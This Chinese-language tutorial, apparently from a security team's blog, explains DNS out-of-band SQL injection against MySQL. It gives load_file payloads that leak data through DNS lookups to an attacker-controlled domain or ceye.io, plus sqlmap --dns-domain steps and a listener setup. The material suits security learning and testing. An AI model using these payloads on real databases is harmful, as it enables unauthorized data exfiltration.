1. 為什麼要使用DNS注入
盲注跑資料太慢的情況下,選擇DNS注入是一個好辦法。
2. DNS注入的原理
把域名dns指向我們的伺服器域名,這樣的話解析域名的時候就會向我們的dns伺服器查詢。透過遞迴查詢就可以獲取資料庫上的資訊了。要記住整個域名內的節點標籤被限制在63個字元長度大小。
3. DNS注入的要求
資料庫在配置中允許域名解析時
到我們資料庫中檢視一下:show variables like ‘skip_name_resolve’;
skip_name_resolve這個引數是禁止域名解析
skip_name_resolve 為off時會進行域名解析
一旦開啟此引數,所有遠端主機連線資料庫授權都要使用IP地址的方式。
生產環境正常都是開啟的。
4. 實戰
首先我們伺服器上安裝sqlmap
發現伺服器已經有2.6的python環境了
直接pip install sqlmap
安裝成功。
接著
找到sqlmap根目錄
cd /usr/lib/python2.6/site-packages/sqlmap/lib/request/
dns.py
它的作用是監聽53埠,先給它一個執行許可權,+x
這裡我直接給他最大許可權了
chmod 777 dns.py
在mysql命令列執行 select load_file("\\\\xxx.zka7.xyz\\txf");
\\\\ 經過傳輸後會變成\\
txf是域名的下級目錄,可以隨便構造
執行後伺服器就會有資料包(xxx.zka7.xyz)出現
5. Sqlmap的自動化實現
在sqlmap中實現DNS注入加上引數
在伺服器安裝好了sqlmap然後執行dns.py
--dns-domain=域名
即可實現自動化。
6. 我不想買2個域名,我不想買伺服器,我也想玩一波DNS注入
有現成的服務:http://ceye.io
登陸之後
有一個分配給你的二級域名
在資料庫中輸入
select load_file("\\\\tangxiaofeng.1odz7u.ceye.io\\aaa");
可以看到tangxiaofeng這個帥氣的名字。
試一下拼接。
首先本地選擇一個表
use sqltest;
這裡的sqltest是我自己建的表
接著select load_file(concat("\\\\",(select database()),".1odz7u.ceye.io\\txf"));
database出來了。
Gcow安全團隊公眾號: